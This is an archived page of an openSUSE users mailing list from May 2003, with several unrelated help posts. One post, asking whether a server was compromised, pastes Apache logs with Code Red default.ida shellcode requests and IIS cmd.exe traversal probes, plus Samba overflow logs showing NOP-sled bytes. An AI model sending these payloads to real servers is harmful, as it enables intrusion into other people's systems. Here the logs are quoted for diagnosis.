May 2003 - openSUSE Users - openSUSE Mailing Lists

Compiling PovRAY with SMP support?
by Rikard Johnels 02 May '03

02 May '03

Hello all. I just recently started playing with PovRay. Its a neat lill thing :) But i found that the package for 8.1 is for single CPU only. Is there a way to compile it for SMP? Seem to remember having seen a note about a SMP aware version of PovRay somewhere ages ago.. But i havent found anything in the docs, on PovRay.org or via googling the net.. Anyone have a clue?` -- /Rikard ------------------------------------------------------------------------------------ Rikard Johnels email : rjhn(a)linux.nu Web : http://www.rikjoh.com Mob : +46 70 464 99 39 ------------------------ Public PGP fingerprint ---------------------------- < 15 28 DF 78 67 98 B2 16 1F D3 FD C5 59 D4 B6 78 46 1C EE 56 >

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Linux-Focus Magazine
by zentara 02 May '03

02 May '03

Hi, I just stumbled across this nice free magazine geared towards sysadmins and programmers. It has alot of "interesting" and SHORT but informative articles. http://www.linuxfocus.org/English/ The next time you are bored, and just need something "stimulating", just out the old issues online. Chock full of information. -- use Perl; #powerful programmable prestidigitation

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Re: [SLE] acpi
by Avi Schwartz 02 May '03

02 May '03

The problem with the admin guide is that (1) acpi vs. apm are described only for laptops while the problems with having acpi turned on are with laptops/desktops/servers and (2) it doesn't tell you that if your NIC doesn't work, try to turn acpi off. Also, on page 239, I read the following: "The Linux implementation of ACPI is still incomplete and therefore only partially usable. A substantial improvement in this matter can only be expected for the 2.6 kernel." If that's the case, I have to wonder why did SuSE enable acpi by default. Avi On Wednesday, Apr 30, 2003, at 12:01 America/Chicago, Marshall Heartley wrote: > On Wed, 2003-04-30 at 12:49, Avi Schwartz wrote: >> Maybe it is mentioned in the manual, I don't know, I am still trying >> to find it. Lets try the index: acpi - nope. How about the >> troubleshooting section? Nope. Network Integration? Ditto. How >> about >> the installation section? I don't see anything about acpi. Please >> point me to the correct page number. >> > > Found the reference in the admin guide that can be accessed from the > Susehelp program. It is under Configuring and using laptop computers. > >> My motherboard manual? No mention of ACPI. BIOS settings? Nope. And >> what about all the people that buy a prebuilt machine which comes with >> no motherboard manual? > > Mine ststed the acpi breifly > >> Not everyone has the latest computer with acpi support and not >> everyone >> knows what the f?I&^$ is acpi. > > This is true. -- Avi Schwartz avi(a)CFFtechnologies.com

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Re: [SLE] Changing the icon Taskbar uses for an application
by Mark Gray 02 May '03

02 May '03

Thomas Jones <thomas.jones(a)linux-howtos.com> writes: > On Friday 02 May 2003 02:32, Mark Gray wrote: >> I would like to change the 'X' that the KDE taskbar uses for a >> particular running application to a custom one. Is there a "correct" >> way to do this, or do I need to modify the system "desktop" files by >> hand? > Right click on the application in question. Select Properties from the pop-up > menu. Now Left click the icon shown in the application properties dialog, > next to the titling ----- application.desktop. > Choose a new icon from the system icons using the pull-down menu in the upper > right corner and selecting one, or navigate to another directory containing > icons you have extracted on your own. That only changes the icon used to launch the application (which I have already done) -- I am talking about the icon used for individual instances of this application which is displayed in the Taskbar when they are running. Changing the icon in the application properties dialog for an application which does not have a predefined icon for the taskbar does not automatically replace the 'X' used for them with a small version of the icon chosen by the user. Hope this better explains what I meant.

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HD activity/speed
by Gert Caers 02 May '03

02 May '03

Dear list, when i was ripping my cds lately i noticed the following: when i rip cds to the /usr partition on my desktop system i notice considerably longer write times + more frequent disc access to my HD then when ripping to /tmp info: /usr is 56GB and resides on IBM 60 GB disc 7200 rpm info :/tmp is 4GB and resides on Seagate 27GB disc 7200 rpm both are reiserfs my Q: has this anything to do with the block size, the hardware or am i imagining that the one needs more disc access then the other? Gert Caers

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Re: [SLE] CD burning opinions wanted
by Mark Gray 02 May '03

02 May '03

Trey <urlik.skarsol(a)gte.net> writes: > Hey folks. > Under 8.1 it had difficulties with my burner /dev/sr0 > I was able to get K3b running well by installing from source. > I did the same thing with my new install of 8.2 > It still only seems to work as root?? > > So I was curious if k3b is considered the best linux burning prog? > I figured it was, as Suse seems to push it as the default. > > What program do ya'll use? > Are there good alternatives that may give me less headaches? The best burner by far is cdbakeoven -- it really has a great user interface. But you are going to have to "compromise" your security no matter what. Just add yourself to the disk group, and change the permissions and ownership of cdrecord and most every burner program that relies on cdrecord for the low level dirty work will work: markgray@mmx:~> l /usr/bin/cdrecord -rws--x--- 1 root disk 281324 2002-09-09 15:28 /usr/bin/cdrecord Note that you have to log out and log back in before the group change can take effect. If you are using either the /etc/permissions.paranoid or /etc/permissions.secure security setting you will have to change the entry for cdrecord in these files also -- otherwise SuSEconfig will change the permissions back again every time it is run. See man chown, man chmod.

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Re: [SLE] Has someone hacked my server? Has someone gotten root on my machine?
by Dan Eskildsen 02 May '03

02 May '03

Thanks for all the replies. This email contains snips of my log files. There is some interesting reading, particularly the messages log. It seems a samba string overflow cause some problems from April 21 to 29 - scroll down to see the logs. Does this mean that a hacker has gotten control of my box? In a number of replies people talk about a cracker, eh, what is a cracker? And what is the different with a hacker? From: "Derek Fountain" > Do you have any reason to believe a hardware fault has occured? Any history of > overheating with that box? Has it received a knock recently which might have > dislodged some memory? Any reason to think the hard disk might have started > to die? I have no reason whatsoever to suspect a hardware problem. No knocks, overheating etc. > A reinstall looks like the best option in the absence of any better advice. My > suspicions would lay with the hardware though. Happily running Linux boxes > don't just go belly up like that without a good reason. I think that I will reinstall the machine. Rohit writes: > I would have looked at /var/log/ directory and in relevant files there. Thanks for this, would you suggest which file I should look at? I looked at my mail log and guess what? There is a huge whole in the log, everything from April 21 to 29 is gone. Mail was running during that time. Apparently deleted (???). Here is a snip of the log: [snip] Apr 21 18:00:34 linux sendmail[6307]: h3LG0Yd3006306: to=<root(a)linux.local>, ctladdr=<root(a)linux.local> (0/0), delay=00:00:00, xdelay=00:00:00, mailer=local, pri=31120, dsn=2.0.0, stat=Sent Apr 29 09:50:09 linux sendmail-client[1040]: starting daemon (8.12.3): queueing@00:30:00 [/snip] No data seems to be missing from the apache access log on April 21 6pm - but there seems to be some kind of hacking attempt at that time. Here is a snip of that log: [snip] 80.235.135.50 - - [21/Apr/2003:16:32:22 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 629 208.25.133.10 - - [21/Apr/2003:17:43:13 +0200] "GET /scripts/..%255c%255c../winnt/system32/cmd.exe?/c+dir" 404 629 80.192.110.35 - - [21/Apr/2003:18:32:54 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 629 80.192.110.35 - - [21/Apr/2003:18:32:54 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 629 80.192.110.35 - - [21/Apr/2003:18:32:54 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.192.110.35 - - [21/Apr/2003:18:32:55 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.192.110.35 - - [21/Apr/2003:18:32:59 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.192.110.35 - - [21/Apr/2003:18:32:59 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.192.110.35 - - [21/Apr/2003:18:32:59 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.192.110.35 - - [21/Apr/2003:18:33:00 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.192.110.35 - - [21/Apr/2003:18:33:00 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.192.110.35 - - [21/Apr/2003:18:33:01 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.192.110.35 - - [21/Apr/2003:18:33:01 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.192.110.35 - - [21/Apr/2003:18:33:02 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 193.109.122.5 - - [21/Apr/2003:18:51:24 +0200] "CONNECT 193.109.122.7:2048/ HTTP/1.1" 400 340 80.224.123.79 - - [21/Apr/2003:20:40:23 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:14 +0200] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:14 +0200] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:15 +0200] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:15 +0200] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:15 +0200] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:15 +0200] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:17 +0200] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:17 +0200] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:18 +0200] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:18 +0200] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:19 +0200] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:19 +0200] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:19 +0200] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283 80.14.34.82 - - [21/Apr/2003:20:55:20 +0200] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 283 80.14.34.82 - - [21/Apr/2003:20:55:20 +0200] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.14.34.82 - - [21/Apr/2003:20:55:21 +0200] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 629 80.201.159.40 - - [21/Apr/2003:21:52:29 +0200] "GET /default.ida?XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u6858%ucbd3%u7801%u9090%u9090%u8190%u00c3%u0003%u8b00%u531b%u53ff%u0078%u0000%u00=a HTTP/1.0" 404 629 80.62.154.229 - - [21/Apr/2003:22:38:13 +0200] "GET /personal/ HTTP/1.1" 401 477 [/snip] Here is a snip from the samba log file (log.smbd) . I don't understand all of this but there was activity on April 21 around 18pm I don't recognise these ip addresses. [snip] [2003/04/21 18:04:16, 0] smbd/service.c:make_connection(249) localhost (200.67.132.3) couldn't find service c [2003/04/21 18:04:30, 0] smbd/service.c:make_connection(249) localhost (80.24.226.55) couldn't find service c [2003/04/21 18:18:39, 0] smbd/service.c:make_connection(249) alevrius_ (200.56.254.70) couldn't find service c [2003/04/21 18:20:24, 0] smbd/service.c:make_connection(249) 50163099sp (67.225.191.11) couldn't find service c [2003/04/21 18:29:04, 0] smbd/service.c:make_connection(249) 50163099sp (62.56.130.23) couldn't find service c [2003/04/21 18:44:17, 0] lib/fault.c:fault_report(38) =============================================================== [2003/04/21 18:44:17, 0] lib/fault.c:fault_report(39) INTERNAL ERROR: Signal 11 in pid 6353 (2.2.3a) Please read the file BUGS.txt in the distribution [2003/04/21 18:44:17, 0] lib/fault.c:fault_report(41) =============================================================== [2003/04/21 18:44:17, 0] lib/util.c:smb_panic(1064) PANIC: internal error [2003/04/21 18:44:17, 0] lib/fault.c:fault_report(38) =============================================================== [2003/04/21 18:44:17, 0] lib/fault.c:fault_report(39) INTERNAL ERROR: Signal 11 in pid 6354 (2.2.3a) Please read the file BUGS.txt in the distribution [2003/04/21 18:44:17, 0] lib/fault.c:fault_report(41) =============================================================== [2003/04/21 18:44:17, 0] lib/util.c:smb_panic(1064) PANIC: internal error [2003/04/21 18:44:17, 0] lib/fault.c:fault_report(38) =============================================================== [2003/04/21 18:44:17, 0] lib/fault.c:fault_report(39) INTERNAL ERROR: Signal 11 in pid 6355 (2.2.3a) Please read the file BUGS.txt in the distribution [2003/04/21 18:44:17, 0] lib/fault.c:fault_report(41) =============================================================== [2003/04/21 18:44:17, 0] lib/util.c:smb_panic(1064) PANIC: internal error [2003/04/21 18:44:18, 0] lib/fault.c:fault_report(38) =============================================================== [2003/04/21 18:44:18, 0] lib/fault.c:fault_report(39) INTERNAL ERROR: Signal 11 in pid 6356 (2.2.3a) Please read the file BUGS.txt in the distribution [2003/04/21 18:44:18, 0] lib/fault.c:fault_report(41) =============================================================== [2003/04/21 18:44:18, 0] lib/util.c:smb_panic(1064) PANIC: internal error [2003/04/21 18:44:18, 0] lib/fault.c:fault_report(38) =============================================================== [2003/04/21 18:44:18, 0] lib/fault.c:fault_report(39) INTERNAL ERROR: Signal 11 in pid 6360 (2.2.3a) Please read the file BUGS.txt in the distribution [2003/04/21 18:44:18, 0] lib/fault.c:fault_report(41) =============================================================== [2003/04/21 18:44:18, 0] lib/util.c:smb_panic(1064) PANIC: internal error [2003/04/21 18:44:20, 0] lib/util_str.c:safe_strcpy(876) ERROR: string overflow by 949 in safe_strcpy [] [2003/04/21 18:44:20, 0] lib/util_str.c:safe_strcpy(876) ERROR: string overflow by 949 in safe_strcpy [] [2003/04/21 18:44:20, 0] lib/fault.c:fault_report(38) =============================================================== [2003/04/21 18:44:20, 0] lib/fault.c:fault_report(39) INTERNAL ERROR: Signal 11 in pid 6371 (2.2.3a) Please read the file BUGS.txt in the distribution [2003/04/21 18:44:20, 0] lib/fault.c:fault_report(41) =============================================================== [2003/04/21 18:44:20, 0] lib/util.c:smb_panic(1064) PANIC: internal error [2003/04/21 18:44:20, 0] lib/fault.c:fault_report(38) =============================================================== [2003/04/21 18:44:20, 0] lib/fault.c:fault_report(39) INTERNAL ERROR: Signal 11 in pid 6373 (2.2.3a) Please read the file BUGS.txt in the distribution [2003/04/21 18:44:20, 0] lib/fault.c:fault_report(41) =============================================================== [2003/04/21 18:44:20, 0] lib/util.c:smb_panic(1064) PANIC: internal error [2003/04/21 18:44:20, 0] lib/util_str.c:safe_strcpy(876) ERROR: string overflow by 949 in safe_strcpy [] [2003/04/21 18:44:20, 0] lib/util_str.c:safe_strcpy(876) ERROR: string overflow by 949 in safe_strcpy [] [2003/04/21 18:52:16, 0] smbd/service.c:make_connection(249) localhost (61.217.123.231) couldn't find service c [/snip] More log reading, this time messages - this log shuts down April 21 and starts up April 29 - a samba string overflow seems to have caused a shut down. [snip] Apr 21 18:44:20 linux smbd[6373]: =============================================================== Apr 21 18:44:20 linux smbd[6373]: [2003/04/21 18:44:20, 0] lib/fault.c:fault_report(39) Apr 21 18:44:20 linux smbd[6373]: INTERNAL ERROR: Signal 11 in pid 6373 (2.2.3a) Apr 21 18:44:20 linux smbd[6373]: Please read the file BUGS.txt in the distribution Apr 21 18:44:20 linux smbd[6373]: [2003/04/21 18:44:20, 0] lib/fault.c:fault_report(41) Apr 21 18:44:20 linux smbd[6373]: =============================================================== Apr 21 18:44:20 linux smbd[6373]: [2003/04/21 18:44:20, 0] lib/util.c:smb_panic(1064) Apr 21 18:44:20 linux smbd[6373]: PANIC: internal error Apr 21 18:44:20 linux smbd[6373]: Apr 21 18:44:20 linux smbd[6374]: [2003/04/21 18:44:20, 0] lib/util_str.c:safe_strcpy(876) Apr 21 18:44:20 linux smbd[6374]: ERROR: string overflow by 949 in safe_strcpy [\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220] Apr 21 18:44:20 linux smbd[6374]: [2003/04/21 18:44:20, 0] lib/util_str.c:safe_strcpy(876) Apr 21 18:44:20 linux smbd[6374]: ERROR: string overflow by 949 in safe_strcpy [\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220\220] Apr 29 09:46:25 linux syslogd 1.3-0: restart. Apr 29 09:46:36 linux sshd[844]: Server listening on :: port 22. Apr 29 09:46:37 linux webmin[843]: Webmin starting Apr 29 09:46:44 linux /etc/hotplug/net.agent[846]: No HW description found ... exiting Apr 29 09:50:08 linux init: Switching to runlevel: 6 Apr 29 09:50:09 linux /usr/sbin/cron[1029]: (CRON) STARTUP (fork ok) Apr 29 09:52:30 linux syslogd 1.3-0: restart. Apr 29 09:52:41 linux sshd[843]: Server listening on :: port 22. Apr 29 09:52:43 linux webmin[842]: Webmin starting [/snip] Thanks in advance for any advice. Dan

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Got my CDRW/DVD drive
by John LeMay 02 May '03

02 May '03

Just got my Sony CDRW/DVD combo drive in, and I could use some pointers in working with it from KDE and from a hardware perspective. First, how do I determine the firmware currently on the drive? Any tips on updating it if an update is available? Second, my KDE desktop still has the "DVD-ROM" icon for the old device. From the YaST2 Hardware Information module I see the device is recognised correctly as a "Sony CD-RW/DVD-ROM CRX801E". Do I need to do anything else for it to work properly? Should I see a "CD-RW" device on the KDE desktop? Trying to add a new device link in KDE only gives me a "CD/DVD-ROM" option, no CD-RW. Should there be a CDRW option or does it not matter? thanks in advance! -- John LeMay KC2KTH Senior Enterprise Consultant NJMC | http://www.njmc.com | Phone 732-557-4848 Specializing in Microsoft and Unix based solutions

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tar question
by Dennis Tuchler 02 May '03

02 May '03

I understand there is an application that will break up large tarballs into small pieces for transfer to diskette, and then rejoin them into a single, unpackable tarball. Where can I find such an application? Thanks -- Dennis Tuchler <dtuchler(a)earthlink.net>

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Changing the icon Taskbar uses for an application
by Mark Gray 02 May '03

02 May '03

I would like to change the 'X' that the KDE taskbar uses for a particular running application to a custom one. Is there a "correct" way to do this, or do I need to modify the system "desktop" files by hand?

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